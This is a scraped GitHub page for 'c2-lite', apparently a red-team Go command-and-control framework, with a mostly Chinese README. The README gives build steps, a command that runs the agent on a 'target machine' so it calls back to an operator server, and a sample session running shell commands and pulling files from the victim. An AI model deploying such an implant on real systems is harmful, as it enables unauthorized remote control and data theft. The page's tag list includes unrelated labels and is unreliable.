ispectr3/c2-lite

GitHub: ispectr3/c2-lite

一个用 Go 编写的轻量级 C2 框架,通过 AES-256-GCM 加密通信实现 server 对跨平台 agent 的远程命令执行与管理。

Stars: 0 | Forks: 0

# C2 Lite ![Go](https://img.shields.io/badge/Go-00ADD8?style=for-the-badge&logo=go&logoColor=white) ![Security](https://img.shields.io/badge/Red_Team-C2-red?style=for-the-badge) ![License](https://img.shields.io/badge/License-MIT-blue?style=for-the-badge) 轻量级 C2 (Command and Control) 框架,使用 Go 编写。它由一个交互式 server 和一个定期进行 callback 的 agent 组成。所有通信均使用 AES-256-GCM 加密。 ## 功能 - 具有类似 Metasploit 交互式 shell 的 server - 跨平台 agent (Linux, macOS, Windows) - 基于 HTTP 的 AES-256-GCM 加密通信 - 带有状态 checkin 的定期 beacon - 远程执行 shell 命令 - 收集系统信息 - 从目标下载文件 - 每个 agent 的命令队列 - 支持同时连接多个 agent ## 安装 ``` git clone https://github.com/ispectr3/c2-lite.git cd c2-lite # 编译 server go build -o c2-server ./server/ # 编译 agent go build -o c2-agent ./agent/ ``` ### 为 Windows 跨平台编译 agent ``` GOOS=windows GOARCH=amd64 go build -o c2-agent.exe ./agent/ ``` ## 用法 ### 启动 server ``` # 默认端口 4443 ./c2-server # 自定义端口与密钥 C2_PORT=8080 C2_KEY="minha-chave-secreta" ./c2-server ``` ### 启动 agent(在目标机器上) ``` C2_SERVER="http://10.10.10.1:4443" C2_KEY="minha-chave-secreta" ./c2-agent ``` ### server 命令 | 命令 | 描述 | |---------|-----------| | `agents` | 列出已连接的 agent | | `use ` | 通过 ID 选择 agent | | `shell ` | 在 agent 上执行命令 | | `sysinfo` | 获取 agent 的系统信息 | | `download ` | 从 agent 下载文件 | | `kill` | 终止选定的 agent | | `back` | 取消选择 agent | | `exit` | 终止 server | ### 会话示例 ``` c2 > agents ID HOSTNAME USER OS PID LAST SEEN --------------------------------------------------------------------------- srv-PC-44 target-pc admin linux 1337 2s [ALIVE] c2 > use srv [*] Agent selecionado: srv-PC-44 c2(srv-PC-4) > sysinfo [>] Comando enfileirado para srv-PC-44 [<] Resposta de srv-PC-44: Hostname: target-pc OS: linux Arch: amd64 User: admin ... c2(srv-PC-4) > shell whoami [>] Comando enfileirado para srv-PC-44 [<] Resposta de srv-PC-44: admin ``` ## 架构 ``` Operador Alvo +----------+ HTTP/AES-256 +----------+ | Server | <===============> | Agent | | (shell) | /beacon | (implant)| | | /task | | | | /result | | +----------+ +----------+ Fluxo: 1. Agent faz POST /beacon (checkin periodico) 2. Agent faz GET /task (busca comandos pendentes) 3. Agent executa e faz POST /result (envia output) ``` ## 结构 ``` c2-lite/ ├── server/ │ └── main.go # Server C2 + shell interativo ├── agent/ │ └── main.go # Agent/implant ├── shared/ │ ├── protocol.go # Structs de comunicacao (Command, Response, Beacon) │ └── crypto.go # AES-256-GCM encrypt/decrypt ├── go.mod ├── README.md ├── LICENSE └── .gitignore ``` ## 通过环境变量进行配置 | 变量 | 描述 | 默认值 | |----------|-----------|--------| | `C2_PORT` | server 端口 | `4443` | | `C2_KEY` | 用于加密的 passphrase | 默认密钥 | | `C2_SERVER` | server 的 URL (agent) | `http://127.0.0.1:4443` | ## 免责声明 本项目纯粹用于进攻性安全的教育和研究目的。请勿在未经书面授权的系统上使用。作者不对滥用行为承担责任。 ## 许可证 [MIT](LICENSE)
标签:C2框架, Go, HTTP工具, Ruby工具, 安全学习资源, 无线安全, 日志审计, 远程命令执行